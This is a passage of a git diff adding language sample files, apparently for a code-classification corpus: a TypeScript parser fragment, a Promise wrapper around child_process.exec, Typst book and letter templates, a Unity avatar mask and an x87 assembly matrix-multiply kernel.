+    if (source[pos] === "(") {
+      consequent = eatParenthesized().trim() || null;
+      skipWs();
+    } else if (source[pos] !== ":") {
+      consequent = eatUntil(":").trimRight() || null;
+    }
+  
+    expect(":");
+    skipWs();
+  
+    let alternate = null;
+    if (pos < source.length) {
+      if (source[pos] === "(") {
+        alternate = eatParenthesized().trim() || null;
+        skipWs();
+      } else if (source[pos] !== ":") {
+        alternate = eatUntil("#").trimRight() || null;
+      }
+    }
+  
+    let hash = null;
+    if (pos < source.length && source[pos] === "#") {
+      pos++;
+      hash = eatRegExp(/\w+/y);
+      skipWs();
+    }
+  
+    if (pos !== source.length) {
+      throw new Error(`Unexpected '${source[pos]}' at index ${pos} (${source})`);
+    }
+  
+    return { test, consequent, alternate, hash };
+  
+    function expect(ch: string) {
+      if (source[pos] !== ch) {
+        throw new Error(`Expected '${ch}' at index ${pos} (${source})`);
+      }
+      pos++;
+    }
+  
+    function skipWs() {
+      eatRegExp(/\s*/y);
+    }
+  
+    function eatRegExp(re: RegExp) {
+      re.lastIndex = pos;
+      const match = re.exec(source);
+      if (!match) return null;
+  
+      pos += match[0].length;
+      return match[0];
+    }
+  
+    function eatUntil(end: string) {
+      const start = pos;
+      pos = source.indexOf(end, start);
+      if (pos === -1) pos = source.length;
+      return source.slice(start, pos);
+    }
+  
+    function eatParenthesized() {
+      expect("(");
+  
+      let depth = 1;
+      let contents = "";
+  
+      while (depth) {
+        if (pos === source.length) {
+          throw new Error(`Expected ')' at index ${pos} (${source})`);
+        }
+  
+        const ch = source[pos];
+  
+        if (ch === "(") depth++;
+        if (ch === ")") depth--;
+  
+        if (ch !== ")" || depth > 0) {
+          contents += ch;
+        }
+  
+        pos++;
+      }
+  
+      return contents;
+    }
+  }
\ No newline at end of file
diff --git a/samples/TypeScript/promisified_cp.cts b/samples/TypeScript/promisified_cp.cts
new file mode 100644
index 0000000000..985de17c95
--- /dev/null
+++ b/samples/TypeScript/promisified_cp.cts
@@ -0,0 +1,12 @@
+import cp = require("child_process");
+
+export = function run(command: string): Promise<{ stdout: string; stderr: string }> {
+  const s = (b) => String(b).trim();
+
+  return new Promise((resolve, reject) => {
+    cp.exec(command, (error, stdout, stderr) => {
+      if (error) return reject(error);
+      resolve({ stdout: s(stdout), stderr: s(stderr) });
+    });
+  });
+}
diff --git a/samples/TypeScript/tsxAttributeResolution9.tsx b/samples/TypeScript/tsxAttributeResolution9.tsx
deleted file mode 100644
index 164536f812..0000000000
--- a/samples/TypeScript/tsxAttributeResolution9.tsx
+++ /dev/null
@@ -1,27 +0,0 @@
-//@jsx: preserve
-//@module: amd
-
-//@filename: react.d.ts
-declare module JSX {
-	interface Element { }
-	interface IntrinsicElements {
-	}
-	interface ElementAttributesProperty {
-		props;
-	}
-}
-
-interface Props {  
-  foo: string;
-}
-
-//@filename: file.tsx
-export class MyComponent {  
-  render() {
-  }
-
-  props: { foo: string; }
-}
-
-<MyComponent foo="bar" />; // ok  
-<MyComponent foo={0} />; // should be an error
diff --git a/samples/Typst/fiction.typ b/samples/Typst/fiction.typ
new file mode 100644
index 0000000000..b7ef6a8943
--- /dev/null
+++ b/samples/Typst/fiction.typ
@@ -0,0 +1,168 @@
+// This function gets your whole document as its `body` and formats
+// it as a simple fiction book.
+#let book(
+  // The book's title.
+  title: "Book title",
+
+  // The book's author.
+  author: "Author",
+
+  // The paper size to use.
+  paper: "iso-b5",
+
+  // A dedication to display on the third page.
+  dedication: none,
+
+  // Details about the book's publisher that are
+  // display on the second page.
+  publishing-info: none,
+
+  // The book's content.
+  body,
+) = {
+  // Set the document's metadata.
+  set document(title: title, author: author)
+
+  // Set the body font. TeX Gyre Pagella is a free alternative
+  // to Palatino.
+  set text(font: "TeX Gyre Pagella")
+
+  // Configure the page properties.
+  set page(
+    paper: paper,
+    margin: (bottom: 1.75cm, top: 2.25cm),
+  )
+
+  // The first page.
+  page(align(center + horizon)[
+    #text(2em)[*#title*]
+    #v(2em, weak: true)
+    #text(1.6em, author)
+  ])
+
+  // Display publisher info at the bottom of the second page.
+  if publishing-info != none {
+    align(center + bottom, text(0.8em, publishing-info))
+  }
+
+  pagebreak()
+
+  // Display the dedication at the top of the third page.
+  if dedication != none {
+    v(15%)
+    align(center, strong(dedication))
+  }
+
+  // Books like their empty pages.
+  pagebreak()
+  pagebreak()
+
+  // Configure paragraph properties.
+  set par(leading: 0.78em, first-line-indent: 12pt, justify: true)
+  show par: set block(spacing: 0.78em)
+
+  // Start with a chapter outline.
+  outline(title: [Chapters])
+
+  // Configure page properties.
+  set page(
+    numbering: "1",
+
+    // The header always contains the book title on odd pages and
+    // the chapter title on even pages, unless the page is one
+    // the starts a chapter (the chapter title is obvious then).
+    header: locate(loc => {
+      // Are we on an odd page?
+      let i = counter(page).at(loc).first()
+      if calc.odd(i) {
+        return text(0.95em, smallcaps(title))
+      }
+
+      // Are we on a page that starts a chapter? (We also check
+      // the previous page because some headings contain pagebreaks.)
+      let all = query(heading, loc)
+      if all.any(it => it.location().page() in (i - 1, i)) {
+        return
+      }
+
+      // Find the heading of the section we are currently in.
+      let before = query(heading, before: loc)
+      if before != () {
+        align(right, text(0.95em, smallcaps(before.last().body)))
+      }
+    }),
+  )
+
+  // Configure chapter headings.
+  show heading.where(level: 1): it => {
+    // Always start on even pages.
+    pagebreak()
+    counter(page).display(i => if calc.odd(i) {
+      pagebreak()
+    })
+
+    // Create the heading numbering.
+    let number = if it.numbering != none {
+      counter(heading).display(it.numbering)
+      h(7pt, weak: true)
+    }
+
+    v(5%)
+    text(2em, weight: 700, block([#number #it.body]))
+    v(1.25em)
+  }
+  show heading: set text(11pt, weight: 400)
+
+  body
+}
+
+#show: book.with(
+  title: "Liam's Playlist",
+  author: "Janet Doe",
+  dedication: [for Rachel],
+  publishing-info: [
+    UK Publishing, Inc. \
+    6 Abbey Road \
+    Vaughnham, 1PX 8A3
+
+    #link("https://example.co.uk/")
+
+    971-1-XXXXXX-XX-X
+  ],
+)
+
+= Mondays
+Liam hated Mondays. He hated waking up to the sound of his dad's old car sputtering to life outside his window. He hated the smell of burnt toast and instant coffee that filled the kitchen. He hated the sight of his mum's tired face as she handed him his lunch bag and kissed him goodbye. He hated the feel of his worn-out uniform and backpack as he walked to the bus stop. He hated the noise of the other kids on the bus, talking about their weekend plans and their latest crushes. He hated the fact that he had nothing to say to them, nothing to share, nothing to look forward to.
+
+He got off the bus at his school and made his way to his locker, avoiding eye contact with anyone who might notice him or worse, pick on him. He was used to being invisible, being ignored, being alone. He didn't have any friends at school, or anywhere else for that matter. He didn't have any hobbies or interests that made him stand out or fit in. He didn't have any dreams or goals that gave him hope or motivation. He just had his routine: wake up, go to school, come home, do homework, watch TV, go to bed. Repeat.
+
+He opened his locker and took out his books for his first class: English literature. He liked reading books sometimes, but he didn't like analyzing them or writing essays about them. He didn't see the point of studying something that had no relevance to his life or future. What did Shakespeare or Dickens have to do with him? What did he care about metaphors or themes or symbols? He just wanted to escape into a different world for a while, not dissect it.
+
+He closed his locker and headed to class. As he walked down the hall, he saw her: Alice Walker. She was new at school this year and she was beautiful. She had long blonde hair that cascaded over her shoulders like a waterfall. She had bright blue eyes that sparkled like diamonds in the sunlight. She had a perfect smile that lit up her face like a star in the night sky.
+
+But he knew it was impossible. She was out of his league. She was from another world. He sighed and continued walking towards English literature. He hated Mondays.
+
+= Music
+#lorem(1500)
+
+= Magic
+#lorem(600)
+
+/*
+= Mystery
+#lorem(600)
+
+= Money
+#lorem(6000)
+
+= Mistakes
+#lorem(6000)
+
+= Memory
+#lorem(6000)
+
+= Miracle
+#lorem(6000)
+
+= Monday again
+#lorem(6000)
diff --git a/samples/Typst/letter.typ b/samples/Typst/letter.typ
new file mode 100644
index 0000000000..8ca0a673c7
--- /dev/null
+++ b/samples/Typst/letter.typ
@@ -0,0 +1,81 @@
+// This function gets your whole document as its `body`
+// and formats it as a simple letter.
+#let letter(
+  // The letter's sender, which is display at the top of the page.
+  sender: none,
+
+  // The letter's recipient, which is displayed close to the top.
+  recipient: none,
+
+  // The date, displayed to the right.
+  date: none,
+
+  // The subject line.
+  subject: none,
+
+  // The name with which the letter closes.
+  name: none,
+
+  // The letter's content.
+  body
+) = {
+  // Configure page and text properties.
+  set page(margin: (top: 2cm))
+  set text(font: "PT Sans")
+
+  // Display sender at top of page. If there's no sender
+  // add some hidden text to keep the same spacing.
+  text(9pt, if sender == none {
+    hide("a")
+  } else {
+    sender
+  })
+
+  v(1.8cm)
+
+  // Display recipient.
+  recipient
+
+  v(0.5cm)
+
+  // Display date. If there's no date add some hidden
+  // text to keep the same spacing.
+  align(right, if date != none {
+    date
+  } else {
+    hide("a")
+  })
+
+  v(2cm)
+
+  // Add the subject line, if any.
+  if subject != none {
+    pad(right: 10%, strong(subject))
+  }
+
+  // Add body and name.
+  body
+  v(1.25cm)
+  name
+}
+
+#show: letter.with(
+  sender: [
+    Jane Smith, Universal Exports, 1 Heavy Plaza, Morristown, NJ 07964
+  ],
+  recipient: [
+    Mr. John Doe \
+    Acme Corp. \
+    123 Glennwood Ave \
+    Quarto Creek, VA 22438
+  ],
+  date: [Morristown, June 9th, 2023],
+  subject: [Revision of our Producrement Contract],
+  name: [Jane Smith \ Regional Director],
+)
+
+Dear Joe,
+
+#lorem(99)
+
+Best,
diff --git a/samples/Unity3D Asset/handFingers.mask b/samples/Unity3D Asset/handFingers.mask
new file mode 100644
index 0000000000..13bb67d945
--- /dev/null
+++ b/samples/Unity3D Asset/handFingers.mask	
@@ -0,0 +1,98 @@
+%YAML 1.1
+%TAG !u! tag:unity3d.com,2011:
+--- !u!1011 &101100000
+AvatarMask:
+  m_ObjectHideFlags: 0
+  m_PrefabParentObject: {fileID: 0}
+  m_PrefabInternal: {fileID: 0}
+  m_Name: handFingers
+  m_Mask: 01000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000
+  m_Elements:
+  - m_Path:
+    m_Weight: 1
+  - m_Path: controller
+    m_Weight: 0
+  - m_Path: renderMesh0
+    m_Weight: 0
+  - m_Path: Root
+    m_Weight: 0
+  - m_Path: Root/finger_index_r_aux
+    m_Weight: 1
+  - m_Path: Root/finger_index_r_aux/finger_index_r_aux_end
+    m_Weight: 1
+  - m_Path: Root/finger_middle_r_aux
+    m_Weight: 1
+  - m_Path: Root/finger_middle_r_aux/finger_middle_r_aux_end
+    m_Weight: 1
+  - m_Path: Root/finger_pinky_r_aux
+    m_Weight: 1
+  - m_Path: Root/finger_pinky_r_aux/finger_pinky_r_aux_end
+    m_Weight: 1
+  - m_Path: Root/finger_ring_r_aux
+    m_Weight: 1
+  - m_Path: Root/finger_ring_r_aux/finger_ring_r_aux_end
+    m_Weight: 1
+  - m_Path: Root/finger_thumb_r_aux
+    m_Weight: 1
+  - m_Path: Root/finger_thumb_r_aux/finger_thumb_r_aux_end
+    m_Weight: 1
+  - m_Path: Root/wrist_r
+    m_Weight: 1
+  - m_Path: Root/wrist_r/finger_index_meta_r
+    m_Weight: 1
+  - m_Path: Root/wrist_r/finger_index_meta_r/finger_index_0_r
+    m_Weight: 1
+  - m_Path: Root/wrist_r/finger_index_meta_r/finger_index_0_r/finger_index_1_r
+    m_Weight: 1
+  - m_Path: Root/wrist_r/finger_index_meta_r/finger_index_0_r/finger_index_1_r/finger_index_2_r
+    m_Weight: 1
+  - m_Path: Root/wrist_r/finger_index_meta_r/finger_index_0_r/finger_index_1_r/finger_index_2_r/finger_index_r_end
+    m_Weight: 1
+  - m_Path: Root/wrist_r/finger_index_meta_r/finger_index_0_r/finger_index_1_r/finger_index_2_r/finger_index_r_end/finger_index_r_end_end
+    m_Weight: 1
+  - m_Path: Root/wrist_r/finger_middle_meta_r
+    m_Weight: 1
+  - m_Path: Root/wrist_r/finger_middle_meta_r/finger_middle_0_r
+    m_Weight: 1
+  - m_Path: Root/wrist_r/finger_middle_meta_r/finger_middle_0_r/finger_middle_1_r
+    m_Weight: 1
+  - m_Path: Root/wrist_r/finger_middle_meta_r/finger_middle_0_r/finger_middle_1_r/finger_middle_2_r
+    m_Weight: 1
+  - m_Path: Root/wrist_r/finger_middle_meta_r/finger_middle_0_r/finger_middle_1_r/finger_middle_2_r/finger_middle_r_end
+    m_Weight: 1
+  - m_Path: Root/wrist_r/finger_middle_meta_r/finger_middle_0_r/finger_middle_1_r/finger_middle_2_r/finger_middle_r_end/finger_middle_r_end_end
+    m_Weight: 1
+  - m_Path: Root/wrist_r/finger_pinky_meta_r
+    m_Weight: 1
+  - m_Path: Root/wrist_r/finger_pinky_meta_r/finger_pinky_0_r
+    m_Weight: 1
+  - m_Path: Root/wrist_r/finger_pinky_meta_r/finger_pinky_0_r/finger_pinky_1_r
+    m_Weight: 1
+  - m_Path: Root/wrist_r/finger_pinky_meta_r/finger_pinky_0_r/finger_pinky_1_r/finger_pinky_2_r
+    m_Weight: 1
+  - m_Path: Root/wrist_r/finger_pinky_meta_r/finger_pinky_0_r/finger_pinky_1_r/finger_pinky_2_r/finger_pinky_r_end
+    m_Weight: 1
+  - m_Path: Root/wrist_r/finger_pinky_meta_r/finger_pinky_0_r/finger_pinky_1_r/finger_pinky_2_r/finger_pinky_r_end/finger_pinky_r_end_end
+    m_Weight: 1
+  - m_Path: Root/wrist_r/finger_ring_meta_r
+    m_Weight: 1
+  - m_Path: Root/wrist_r/finger_ring_meta_r/finger_ring_0_r
+    m_Weight: 1
+  - m_Path: Root/wrist_r/finger_ring_meta_r/finger_ring_0_r/finger_ring_1_r
+    m_Weight: 1
+  - m_Path: Root/wrist_r/finger_ring_meta_r/finger_ring_0_r/finger_ring_1_r/finger_ring_2_r
+    m_Weight: 1
+  - m_Path: Root/wrist_r/finger_ring_meta_r/finger_ring_0_r/finger_ring_1_r/finger_ring_2_r/finger_ring_r_end
+    m_Weight: 1
+  - m_Path: Root/wrist_r/finger_ring_meta_r/finger_ring_0_r/finger_ring_1_r/finger_ring_2_r/finger_ring_r_end/finger_ring_r_end_end
+    m_Weight: 1
+  - m_Path: Root/wrist_r/finger_thumb_0_r
+    m_Weight: 1
+  - m_Path: Root/wrist_r/finger_thumb_0_r/finger_thumb_1_r
+    m_Weight: 1
+  - m_Path: Root/wrist_r/finger_thumb_0_r/finger_thumb_1_r/finger_thumb_2_r
+    m_Weight: 1
+  - m_Path: Root/wrist_r/finger_thumb_0_r/finger_thumb_1_r/finger_thumb_2_r/finger_thumb_r_end
+    m_Weight: 1
+  - m_Path: Root/wrist_r/finger_thumb_0_r/finger_thumb_1_r/finger_thumb_2_r/finger_thumb_r_end/finger_thumb_r_end_end
+    m_Weight: 1
diff --git a/samples/Unix Assembly/gemm_kernel_1x4.S b/samples/Unix Assembly/gemm_kernel_1x4.S
new file mode 100644
index 0000000000..8e248b8a76
--- /dev/null
+++ b/samples/Unix Assembly/gemm_kernel_1x4.S	
@@ -0,0 +1,907 @@
+/*********************************************************************/
+/* Copyright 2009, 2010 The University of Texas at Austin.           */
+/* All rights reserved.                                              */
+/*                                                                   */
+/* Redistribution and use in source and binary forms, with or        */
+/* without modification, are permitted provided that the following   */
+/* conditions are met:                                               */
+/*                                                                   */
+/*   1. Redistributions of source code must retain the above         */
+/*      copyright notice, this list of conditions and the following  */
+/*      disclaimer.                                                  */
+/*                                                                   */
+/*   2. Redistributions in binary form must reproduce the above      */
+/*      copyright notice, this list of conditions and the following  */
+/*      disclaimer in the documentation and/or other materials       */
+/*      provided with the distribution.                              */
+/*                                                                   */
+/*    THIS  SOFTWARE IS PROVIDED  BY THE  UNIVERSITY OF  TEXAS AT    */
+/*    AUSTIN  ``AS IS''  AND ANY  EXPRESS OR  IMPLIED WARRANTIES,    */
+/*    INCLUDING, BUT  NOT LIMITED  TO, THE IMPLIED  WARRANTIES OF    */
+/*    MERCHANTABILITY  AND FITNESS FOR  A PARTICULAR  PURPOSE ARE    */
+/*    DISCLAIMED.  IN  NO EVENT SHALL THE UNIVERSITY  OF TEXAS AT    */
+/*    AUSTIN OR CONTRIBUTORS BE  LIABLE FOR ANY DIRECT, INDIRECT,    */
+/*    INCIDENTAL,  SPECIAL, EXEMPLARY,  OR  CONSEQUENTIAL DAMAGES    */
+/*    (INCLUDING, BUT  NOT LIMITED TO,  PROCUREMENT OF SUBSTITUTE    */
+/*    GOODS  OR  SERVICES; LOSS  OF  USE,  DATA,  OR PROFITS;  OR    */
+/*    BUSINESS INTERRUPTION) HOWEVER CAUSED  AND ON ANY THEORY OF    */
+/*    LIABILITY, WHETHER  IN CONTRACT, STRICT  LIABILITY, OR TORT    */
+/*    (INCLUDING NEGLIGENCE OR OTHERWISE)  ARISING IN ANY WAY OUT    */
+/*    OF  THE  USE OF  THIS  SOFTWARE,  EVEN  IF ADVISED  OF  THE    */
+/*    POSSIBILITY OF SUCH DAMAGE.                                    */
+/*                                                                   */
+/* The views and conclusions contained in the software and           */
+/* documentation are those of the authors and should not be          */
+/* interpreted as representing official policies, either expressed   */
+/* or implied, of The University of Texas at Austin.                 */
+/*********************************************************************/
+
+#define ASSEMBLER
+#include "common.h"
+
+#define STACK	16
+#define ARGS	16
+
+#define J	 0 + STACK(%esp)
+#define I	 4 + STACK(%esp)
+#define KK	 8 + STACK(%esp)
+#define KKK	12 + STACK(%esp)
+
+#define M	 4 + STACK + ARGS(%esp)
+#define N	 8 + STACK + ARGS(%esp)
+#define K	12 + STACK + ARGS(%esp)
+#define ALPHA	16 + STACK + ARGS(%esp)
+#ifdef DOUBLE
+#define STACK_A	24 + STACK + ARGS(%esp)
+#define STACK_B	28 + STACK + ARGS(%esp)
+#define C	32 + STACK + ARGS(%esp)
+#define STACK_LDC	36 + STACK + ARGS(%esp)
+#define OFFSET	40 + STACK + ARGS(%esp)
+#else
+#define STACK_A	20 + STACK + ARGS(%esp)
+#define STACK_B	24 + STACK + ARGS(%esp)
+#define C	28 + STACK + ARGS(%esp)
+#define STACK_LDC	32 + STACK + ARGS(%esp)
+#define OFFSET	36 + STACK + ARGS(%esp)
+#endif
+
+#define A	%edx
+#define B	%ecx
+#define BB	%ebx
+#define LDC	%ebp
+#define BX	%esi
+
+#define PREFETCHSIZE (8 * 5 + 4)
+
+#define AOFFSET   1
+#define BOFFSET  -7
+
+#ifdef HAVE_3DNOW
+#define PREFETCH	prefetch
+#else
+#define PREFETCH	prefetcht0
+#endif
+
+#define KERNEL \
+	PREFETCH	PREFETCHSIZE * SIZE + AOFFSET(A, %eax, 1);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(4);\
+	FLD	-15 * SIZE + BOFFSET(B, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(5);\
+	FLD	-14 * SIZE + BOFFSET(B, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(6);\
+	FMUL	-13 * SIZE + BOFFSET(B, %eax, 4);\
+	faddp	%st, %st(6);\
+	FLD	-15 * SIZE + AOFFSET(A, %eax, 1);\
+	FLD	-12 * SIZE + BOFFSET(B, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(4);\
+	FLD	-11 * SIZE + BOFFSET(B, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(5);\
+	FLD	-10 * SIZE + BOFFSET(B, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(6);\
+	FMUL	 -9 * SIZE + BOFFSET(B, %eax, 4);\
+	faddp	%st, %st(6);\
+	FLD	-14 * SIZE + AOFFSET(A, %eax, 1);\
+	FLD	 -8 * SIZE + BOFFSET(B, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(4);\
+	FLD	 -7 * SIZE + BOFFSET(B, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(5);\
+	FLD	 -6 * SIZE + BOFFSET(B, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(6);\
+	FMUL	 -5 * SIZE + BOFFSET(B, %eax, 4);\
+	faddp	%st, %st(6);\
+	FLD	-13 * SIZE + AOFFSET(A, %eax, 1);\
+	FLD	 -4 * SIZE + BOFFSET(B, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(4);\
+	FLD	 -3 * SIZE + BOFFSET(B, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(5);\
+	FLD	 -2 * SIZE + BOFFSET(B, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(6);\
+	FMUL	 -1 * SIZE + BOFFSET(B, %eax, 4);\
+	faddp	%st, %st(6);\
+	FLD	-12 * SIZE + AOFFSET(A, %eax, 1);\
+	FLD	  0 * SIZE + BOFFSET(B, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(4);\
+	FLD	  1 * SIZE + BOFFSET(B, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(5);\
+	FLD	  2 * SIZE + BOFFSET(B, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(6);\
+	FMUL	  3 * SIZE + BOFFSET(B, %eax, 4);\
+	faddp	%st, %st(6);\
+	FLD	-11 * SIZE + AOFFSET(A, %eax, 1);\
+	FLD	  4 * SIZE + BOFFSET(B, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(4);\
+	FLD	  5 * SIZE + BOFFSET(B, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(5);\
+	FLD	  6 * SIZE + BOFFSET(B, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(6);\
+	FMUL	  7 * SIZE + BOFFSET(B, %eax, 4);\
+	faddp	%st, %st(6);\
+	FLD	-10 * SIZE + AOFFSET(A, %eax, 1);\
+	FLD	  8 * SIZE + BOFFSET(B, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(4);\
+	FLD	  9 * SIZE + BOFFSET(B, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(5);\
+	FLD	 10 * SIZE + BOFFSET(B, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(6);\
+	FMUL	 11 * SIZE + BOFFSET(B, %eax, 4);\
+	faddp	%st, %st(6);\
+	FLD	 -9 * SIZE + AOFFSET(A, %eax, 1);\
+	FLD	 12 * SIZE + BOFFSET(B, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(4);\
+	FLD	 13 * SIZE + BOFFSET(B, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(5);\
+	FLD	 14 * SIZE + BOFFSET(B, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(6);\
+	FMUL	 15 * SIZE + BOFFSET(B, %eax, 4);\
+	faddp	%st, %st(6);\
+	FLD	  8 * SIZE + AOFFSET(A, %eax, 1);\
+	fxch	%st(1);\
+	FLD	 16 * SIZE + BOFFSET(B, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(4);\
+	FLD	-15 * SIZE + BOFFSET(BB, %eax, 4);\
+	fmul	%st(1), %st;\
+	PREFETCH	(PREFETCHSIZE + 8) * SIZE + AOFFSET(A, %eax, 1);\
+	faddp	%st, %st(5);\
+	FLD	-14 * SIZE + BOFFSET(BB, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(6);\
+	FMUL	-13 * SIZE + BOFFSET(BB, %eax, 4);\
+	faddp	%st, %st(6);\
+	FLD	 -7 * SIZE + AOFFSET(A, %eax, 1);\
+	FLD	-12 * SIZE + BOFFSET(BB, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(4);\
+	FLD	-11 * SIZE + BOFFSET(BB, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(5);\
+	FLD	-10 * SIZE + BOFFSET(BB, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(6);\
+	FMUL	 -9 * SIZE + BOFFSET(BB, %eax, 4);\
+	faddp	%st, %st(6);\
+	FLD	 -6 * SIZE + AOFFSET(A, %eax, 1);\
+	FLD	 -8 * SIZE + BOFFSET(BB, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(4);\
+	FLD	 -7 * SIZE + BOFFSET(BB, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(5);\
+	FLD	 -6 * SIZE + BOFFSET(BB, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(6);\
+	FMUL	 -5 * SIZE + BOFFSET(BB, %eax, 4);\
+	faddp	%st, %st(6);\
+	FLD	 -5 * SIZE + AOFFSET(A, %eax, 1);\
+	FLD	 -4 * SIZE + BOFFSET(BB, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(4);\
+	FLD	 -3 * SIZE + BOFFSET(BB, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(5);\
+	FLD	 -2 * SIZE + BOFFSET(BB, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(6);\
+	FMUL	 -1 * SIZE + BOFFSET(BB, %eax, 4);\
+	faddp	%st, %st(6);\
+	FLD	 -4 * SIZE + AOFFSET(A, %eax, 1);\
+	FLD	  0 * SIZE + BOFFSET(BB, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(4);\
+	FLD	  1 * SIZE + BOFFSET(BB, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(5);\
+	FLD	  2 * SIZE + BOFFSET(BB, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(6);\
+	FMUL	  3 * SIZE + BOFFSET(BB, %eax, 4);\
+	faddp	%st, %st(6);\
+	FLD	 -3 * SIZE + AOFFSET(A, %eax, 1);\
+	FLD	  4 * SIZE + BOFFSET(BB, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(4);\
+	FLD	  5 * SIZE + BOFFSET(BB, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(5);\
+	FLD	  6 * SIZE + BOFFSET(BB, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(6);\
+	FMUL	  7 * SIZE + BOFFSET(BB, %eax, 4);\
+	faddp	%st, %st(6);\
+	FLD	 -2 * SIZE + AOFFSET(A, %eax, 1);\
+	FLD	  8 * SIZE + BOFFSET(BB, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(4);\
+	FLD	  9 * SIZE + BOFFSET(BB, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(5);\
+	FLD	 10 * SIZE + BOFFSET(BB, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(6);\
+	FMUL	 11 * SIZE + BOFFSET(BB, %eax, 4);\
+	faddp	%st, %st(6);\
+	FLD	 -1 * SIZE + AOFFSET(A, %eax, 1);\
+	FLD	 12 * SIZE + BOFFSET(BB, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(4);\
+	FLD	 13 * SIZE + BOFFSET(BB, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(5);\
+	FLD	 14 * SIZE + BOFFSET(BB, %eax, 4);\
+	fmul	%st(1), %st;\
+	faddp	%st, %st(6);\
+	FMUL	 15 * SIZE + BOFFSET(BB, %eax, 4);\
+	faddp	%st, %st(6);\
+	FLD	 16 * SIZE + AOFFSET(A, %eax, 1);\
+	fxch	%st(2);\
+	FLD	 16 * SIZE + BOFFSET(BB, %eax, 4);\
+	subl	 $-16 * SIZE, %eax
+
+/*
+
+  A hint of scheduling is received from following URL
+
+  http://www.netlib.org/atlas/atlas-comm/msg00260.html
+
+*/
+
+	PROLOGUE
+
+	subl	$ARGS, %esp	# Generate Stack Frame
+
+	pushl	%ebp
+	pushl	%edi
+	pushl	%esi
+	pushl	%ebx
+
+	PROFCODE
+
+#if defined(TRMMKERNEL) && !defined(LEFT)
+	movl	OFFSET, %eax
+	negl	%eax
+	movl	%eax, KK
+#endif
+
+	movl	STACK_LDC, LDC
+	leal	(, LDC, SIZE), LDC
+
+	subl	$(AOFFSET - 16 * SIZE), STACK_A
+	subl	$(BOFFSET - 16 * SIZE), STACK_B
+
+	movl	M, %eax
+	testl	%eax, %eax
+	jle	.L999
+
+	movl	N, %eax
+	testl	%eax, %eax
+	jle	.L999
+
+	movl	K, %eax
+	testl	%eax, %eax
+	jle	.L999
+
+	movl	N,   %eax
+	sarl	$2,  %eax
+	movl	%eax, J
+	je	.L20
+	ALIGN_3
+
+.L11:
+#if defined(TRMMKERNEL) && defined(LEFT)
+	movl	OFFSET, %eax
+	movl	%eax, KK
+#endif
+
+	movl	STACK_A, A
+	movl	STACK_B, B
+	movl	C, %edi
+
+	movl	K, BX
+	sall	$BASE_SHIFT + 2, BX
+	addl	B, BX
+
+	movl	M, %eax
+	movl	%eax, I
+	ALIGN_3
+
+.L14:
+	prefetchnta	-16 * SIZE + BOFFSET(BX)
+	subl	$-8 * SIZE, BX
+
+	movl	STACK_B, B
+
+#if !defined(TRMMKERNEL) || \
+	(defined(TRMMKERNEL) &&  defined(LEFT) &&  defined(TRANSA)) || \
+	(defined(TRMMKERNEL) && !defined(LEFT) && !defined(TRANSA))
+#else
+	movl	KK,   %eax
+	leal	(, %eax, SIZE), %eax
+	leal	(A, %eax, 1), A
+	leal	(B, %eax, 4), B
+#endif
+
+	leal	(%edi, LDC, 2), %eax
+
+	fldz
+	fldz
+	fldz
+	fldz
+
+	FLD	   0 * SIZE + AOFFSET(A)
+	FLD	  -8 * SIZE + AOFFSET(A)
+	FLD	 -16 * SIZE + AOFFSET(A)
+	FLD	 -16 * SIZE + BOFFSET(B)
+
+#ifdef HAVE_3DNOW
+	prefetchw	1 * SIZE(%edi)
